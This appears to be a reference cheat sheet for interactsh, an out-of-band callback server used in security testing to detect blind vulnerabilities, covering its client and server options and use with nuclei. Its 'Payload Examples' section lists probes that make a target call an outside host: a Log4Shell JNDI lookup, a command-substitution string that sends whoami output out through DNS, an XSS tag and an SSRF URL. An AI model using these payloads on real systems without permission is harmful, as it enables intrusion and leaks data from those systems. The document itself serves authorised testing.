interactsh
Out-of-band (OOB) interaction server for detecting blind vulnerabilities. ProjectDiscovery.
Quickstart
interactsh-client
interactsh-client -s oast.fun
interactsh-client -v 2>&1 | tee interactions.log
Core Concepts
| Concept |
Description |
| OOB testing |
Detect vulns via external callbacks |
| Protocols |
HTTP, DNS, SMTP, LDAP, FTP, SMB |
| Interaction |
Any request to your unique URL |
| Correlation |
Link interactions to payloads |
Syntax
# Client (generate URLs, receive interactions)
interactsh-client [options]
# Server (self-hosted)
interactsh-server [options]
Client Options
Connection
| Option |
Description |
-s <server> |
Interactsh server (default: oast.live) |
-token <t> |
Auth token |
-n <n> |
Number of URLs to generate |
Output
| Option |
Description |
-o <file> |
Output file |
-json |
JSON output |
-v |
Verbose |
-ps |
Poll immediately on start |
Session
| Option |
Description |
-sf <file> |
Session file (persist URLs) |
Filters
| Option |
Description |
-dns-only |
DNS interactions only |
-http-only |
HTTP interactions only |
Recipes
Basic Usage
interactsh-client
Testing Blind Vulnerabilities
interactsh-client -v
curl "https://target.com/fetch?url=http://abc123.oast.live"
Payload Examples
http://abc123.oast.live/test
abc123.oast.live
$(whoami).abc123.oast.live
${jndi:ldap://abc123.oast.live/a}
<img src=http://abc123.oast.live/xss>
http://abc123.oast.live/ssrf?target=internal
Custom Server
interactsh-client -s oast.fun
interactsh-client -s oast.me
interactsh-client -s interact.sh
interactsh-client -s your-interactsh.com -token YOUR_TOKEN
Session Persistence
interactsh-client -sf session.yaml
interactsh-client -sf session.yaml
Integration with nuclei
nuclei -l urls.txt -t cves/
nuclei -l urls.txt -iserver oast.fun
nuclei -l urls.txt -ni
Filtering Interactions
interactsh-client -dns-only
interactsh-client -http-only
Multiple URLs
interactsh-client -n 5
Server (Self-Hosted)
go install github.com/projectdiscovery/interactsh/cmd/interactsh-server@latest
interactsh-server -domain oast.yourdomain.com
interactsh-server -domain oast.yourdomain.com -token YOUR_SECRET
Output & Parsing
interactsh-client -json -o interactions.json
cat interactions.json | jq -r '.protocol + " " + .["remote-address"]'
interactsh-client -v 2>&1 | tee interactions.log
Troubleshooting
| Issue |
Solution |
| No interactions |
Check URL correct, firewall, DNS |
| Server unreachable |
Try different server (-s oast.me) |
| DNS not resolving |
Check network, try HTTP-only |
| Token error |
Check token with server admin |
References